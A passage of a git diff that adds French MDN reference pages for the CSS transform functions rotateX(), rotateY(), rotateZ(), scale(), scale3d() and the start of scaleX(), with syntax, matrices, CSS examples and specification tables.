+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/rotatex()/index.html b/files/fr/web/css/transform-function/rotatex()/index.html
new file mode 100644
index 0000000000..01fc488e05
--- /dev/null
+++ b/files/fr/web/css/transform-function/rotatex()/index.html
@@ -0,0 +1,108 @@
+---
+title: rotateX()
+slug: Web/CSS/transform-function/rotateX()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/rotateX()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>rotateX()</code></strong> définit une transformation qui déplace l'élément autour de l'axe des abscisses sans le déformer. L'angle de rotation est défini par l'argument passé à la fonction. Si l'angle indiqué est positif, le mouvement sera appliqué dans le sens horaire et sinon il sera appliqué dans le sens inverse des aiguilles d'une montre.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-rotateX.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'axe de la rotation passe par l'origine du repère, définie par la propriété {{cssxref("transform-origin")}}.</p>
+
+<p><code>rotateX(a)</code> est une notation raccourcie, équivalente à <code>rotate3D(1, 0, 0, a)</code>.</p>
+
+<div class="note"><strong>Note :</strong> Contrairement aux rotations appliqués dans le plan, la composition de rotations dans l'espace n'est pas commutative. Autrement dit, l'ordre dans lequel on applique les rotations est déterminant.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">rotateX(<em>a</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle de la rotation. Un angle positif indique une rotation appliquée dans le sens horaire, un angle négatif applique une rotation dans le sens anti-horaire.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Cette transformation s'applique dans l'espace (3D) et ne peut pas être représentée en deux dimensions.</td>
+   <td colspan="1"><math> <mfenced><mtable><mtr><mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>cos(a)</mtd><mtd>-sin(a)</mtd></mtr><mtr><mtd>0</mtd><mtd>sin(a)</mtd><mtd>cos(a)</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1"><math><mfenced><mtable><mtr><mtd>1</mtd><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: rotateX(45deg);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-rotatex", "rotateX()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/rotatey()/index.html b/files/fr/web/css/transform-function/rotatey()/index.html
new file mode 100644
index 0000000000..86d43fd733
--- /dev/null
+++ b/files/fr/web/css/transform-function/rotatey()/index.html
@@ -0,0 +1,108 @@
+---
+title: rotateY()
+slug: Web/CSS/transform-function/rotateY()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/rotateY()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>rotateY()</code></strong> définit une rotation, qui déplace l'élément autour de l'axe des ordonnées, sans le déformer. L'angle de rotation est défini par l'argument passé à la fonction. Si l'angle indiqué est positif, le mouvement sera appliqué dans le sens horaire et sinon il sera appliqué dans le sens inverse des aiguilles d'une montre.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-rotateY.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'axe de la rotation passe par l'origine du repère, définie par la propriété {{cssxref("transform-origin")}}.</p>
+
+<p><code>rotateY(a)</code> est une notation raccourcie, équivalente à <code>rotate3D(0, 1, 0, a)</code>.</p>
+
+<div class="note"><strong>Note :</strong> Contrairement aux rotations appliqués dans le plan, la composition de rotations dans l'espace n'est pas commutative. Autrement dit, l'ordre dans lequel on applique les rotations est déterminant.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">rotateY(<em>a</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle de la rotation. Un angle positif indique une rotation appliquée dans le sens horaire, un angle négatif applique une rotation dans le sens anti-horaire.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2">Cette transformation s'applique dans l'espace (3D) et ne peut pas être représentée en deux dimensions.</td>
+   <td colspan="1"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>0</mtd><mtd>sin(a)</mtd></mtr><mtr><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>cos(a)</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1"><math><mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>0</mtd><mtd>sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: rotateY(60deg);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-rotatey", "rotateY()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/rotatez()/index.html b/files/fr/web/css/transform-function/rotatez()/index.html
new file mode 100644
index 0000000000..823e0355bc
--- /dev/null
+++ b/files/fr/web/css/transform-function/rotatez()/index.html
@@ -0,0 +1,108 @@
+---
+title: rotateZ()
+slug: Web/CSS/transform-function/rotateZ()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/rotateZ()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>rotateZ()</code></strong> définit une transformation qui déplace l'élément autour de l'axe Z, sans déformer cet élément. L'angle de rotation est défini par l'argument passé à la fonction. Si l'angle indiqué est positif, le mouvement sera appliqué dans le sens horaire et sinon il sera appliqué dans le sens inverse des aiguilles d'une montre.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-rotateZ.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>L'axe de la rotation passe par l'origine du repère, définie par la propriété {{cssxref("transform-origin")}}.</p>
+
+<p><code>rotateZ(a)</code> est une notation raccourcie équivalente à <code>rotate3D(0, 0, 1, a)</code>.</p>
+
+<div class="note"><strong>Note :</strong> Contrairement aux rotations appliqués dans le plan, la composition de rotations dans l'espace n'est pas commutative. Autrement dit, l'ordre dans lequel on applique les rotations est déterminant.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">rotateZ(<em>a</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>a</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;angle&gt;")}} qui représente l'angle de la rotation. Un angle positif indique une rotation appliquée dans le sens horaire, un angle négatif applique une rotation dans le sens anti-horaire.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Cette transformation s'applique dans l'espace (3D) et ne peut pas être représentée en deux dimensions.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math><mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: rotateZ(45deg);
+  background-color: blue;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-rotatez", "rotateZ()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/scale()/index.html b/files/fr/web/css/transform-function/scale()/index.html
new file mode 100644
index 0000000000..5010957fd3
--- /dev/null
+++ b/files/fr/web/css/transform-function/scale()/index.html
@@ -0,0 +1,157 @@
+---
+title: scale()
+slug: Web/CSS/transform-function/scale()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/scale()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>scale()</code></strong> permet de modifier la taille d'un élément avec un facteur d'échelle sur deux dimensions. Le résultat de cette fonction est une valeur de type {{cssxref("&lt;transform-function&gt;")}}.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12115/scale.png" style="height: 325px; width: 392px;"></p>
+
+<p>Cette transformation est définie par un vecteur dont les coordonnées définissent la déformation appliquée dans chaque direction (horizontale et verticale). Si les deux coordonnées du vecteur sont égales, la mise à l'échelle est uniforme (ou isotropique) et la forme de l'élément est conservée.</p>
+
+<p>Lorsque les coordonnées du vecteur sont en dehors de l'intervalle [<code>-1, 1]</code>, la transformation agrandit la taille de l'élément. Dans cet intervalle, l'élément est réduit.</p>
+
+<div class="note">La fonction <code>scale</code><code>()</code> applique un transformation dans le plan (2D). S'il faut que la transformation soit appliquée dans l'espace (3D), on pourra utiliser la fonction <code>scale3D()</code> .</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">scale(<em>sx</em>)
+scale(<em>sx</em>, <em>sy</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>sx</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente l'abscisse du vecteur de transformation (le facteur d'échelle selon l'axe horizontal).</dd>
+ <dt><code>sy</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente l'abscisse du vecteur de transformation (le facteur d'échelle selon l'axe vertical). Si ce paramètre est absent, la valeur par défaut qui sera prise sera <em><strong>sx</strong></em> (on aura ainsi une transformation homogène).</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>sx</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>sy</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>sy</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[sx 0 0 sy 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Déformation_horizontale">Déformation horizontale</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  /* identique à scaleX(2) scaleY(2)*/
+  transform: scale(2);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Déformation_horizontale","100%","200")}}</p>
+
+<h3 id="Déformer_horizontalement_et_verticalement_avec_origine_déplacée">Déformer horizontalement et verticalement avec origine déplacée</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  /* identique à scaleX(2) scaleY(0.5) */
+  transform: scale(2, 0.5);
+  transform-origin: left;
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Déformer_horizontalement_et_verticalement_avec_origine_déplacée","100%","200")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les animations utilisées pour les zooms/changement d'échelle peuvent poser problème comme facteurs de déclenchement pour certains types de migraine. Si vous devez inclure de telles animations sur votre site, vous devriez fournir un moyen de désactiver les animations pour le site.</p>
+
+<p>Vous pouvez également tirer parti de la caractéristique média {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} et écrire une requête média qui désactivera les animations si l'utilisateur décide de réduire les animations via les préférences du système.</p>
+
+<p>Pour en savoir plus :</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.3_%E2%80%94_Seizures_and_Physical_Reactions_Do_not_design_content_in_a_way_that_is_known_to_cause_seizures_or_physical_reactions">Comprendres les règles WCAG 2.3</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions">Comprendre les critères de succès WCAG 2.1 / 2.3.3 (W3C)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-scale", "scale()")}}</td>
+   <td>{{Spec2("CSS3 Transforms")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li>{{cssxref("transform-function/scale3d", "scale3d()")}}</li>
+</ul>
diff --git a/files/fr/web/css/transform-function/scale3d()/index.html b/files/fr/web/css/transform-function/scale3d()/index.html
new file mode 100644
index 0000000000..cddec8bdc7
--- /dev/null
+++ b/files/fr/web/css/transform-function/scale3d()/index.html
@@ -0,0 +1,141 @@
+---
+title: scale3d()
+slug: Web/CSS/transform-function/scale3d()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/scale3d()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>scale3d()</code></strong> permet de modifier la taille d'un élément en appliquant une homothétie définie par un vecteur. Les composantes de ce vecteur permettent d'appliquer des échelles différentes selon les différentes dimensions.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-scale3d.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La transformation appliquée est définie par un vecteur dont les coordonnées définissent l'amplitude de l'homothétie dans chaque direction. Si les trois coordonnées du vecteur sont égales, la transformation est isotropique et la forme de l'élément est conservée.</p>
+
+<p>Lorsque les composantes du vecteurs sont en dehors de l'intervalle <code>[-1, 1]</code>, la transformation agrandit l'élément dans le sens des coordonnées. Lorsque les composantes sont dans cet intervalle, cela réduit l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">scale3d(<em>sx</em>, <em>sy</em>, <em>sz</em>)
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>sx</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente l'abscisse du vecteur définissant l'homothétie.</dd>
+ <dt><code>sy</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente l'ordonnée du vecteur définissant l'homothétie</dd>
+ <dt><code>sz</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;number&gt;")}} qui représente la composante, selon l'axe Z, du vecteur définissant l'homothétie</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>2</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>2</sup></th>
+   <th scope="col">Coordonnées cartésiennes sur ℝ<sup>3</sup></th>
+   <th scope="col">Coordonnées homogènes sur ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">Cette transformation s'applique dans en 3 dimensions et ne peut pas être représentée sur le plan.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>sz</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>sz</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Avec_origine_non_modifiée">Avec origine non modifiée</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;foo&lt;/p&gt;
+&lt;p class="transformation"&gt;bar&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: perspective(500px) scale3d(0.8, 2, 0.2) translateZ(100px);
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Avec_origine_non_modifiée","100%","200")}}</p>
+
+<h3 id="Avec_origine_translatée">Avec origine translatée</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;toto&lt;/p&gt;
+&lt;p class="transformation"&gt;truc&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p {
+  width: 50px;
+  height: 50px;
+  background-color: teal;
+}
+
+.transformation {
+  transform: scale3d(2, 3, 0);
+  transform-origin: center;
+  background-color: blue;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Avec_origine_translatée","100%","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Transforms 2", "#funcdef-scale3d", "scale3d()")}}</td>
+   <td>{{Spec2("CSS Transforms 2")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Voir la page sur le type de donnée <code><a href="/fr/docs/Web/CSS/transform-function#Compatibilité_des_navigateurs">&lt;transform-function&gt;</a></code> pour les informations de compatibilité associées.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/scaleZ">scaleZ()</a></code></li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/translate3d">translate3d()</a></code></li>
+ <li><code><a href="/fr/docs/Web/CSS/transform-function/rotate3d">rotate3d()</a></code></li>
+</ul>
diff --git a/files/fr/web/css/transform-function/scalex()/index.html b/files/fr/web/css/transform-function/scalex()/index.html
new file mode 100644
index 0000000000..231bc73da3
--- /dev/null
+++ b/files/fr/web/css/transform-function/scalex()/index.html
@@ -0,0 +1,139 @@
+---
+title: scaleX()
+slug: Web/CSS/transform-function/scaleX()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Transformations CSS
+translation_of: Web/CSS/transform-function/scaleX()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>scaleX()</code></strong> permet de modifier l'abscisse de chaque sommet de l'élément par un facteur multiplicateur. L'homothétie obtenue n'est pas isotropique et les angles de l'élément ne sont pas conservés.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12117/scaleX.png" style="height: 315px; width: 372px;"></p>
+
+<p><code>scaleX(sx)</code> est une notation raccourcie équivalente à <code>scale(sx, 1)</code> ou à <code>scale3d(sx, 1, 1)</code>.</p>
+
+<p><code>scaleX(-1)</code> définit une symétrie axiale par rapport à un axe vertical passant par l'origine du repère (définie grâce à la propriété {{cssxref("transform-origin")}}).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">scaleX(<em>s</em>)
+</pre>
+
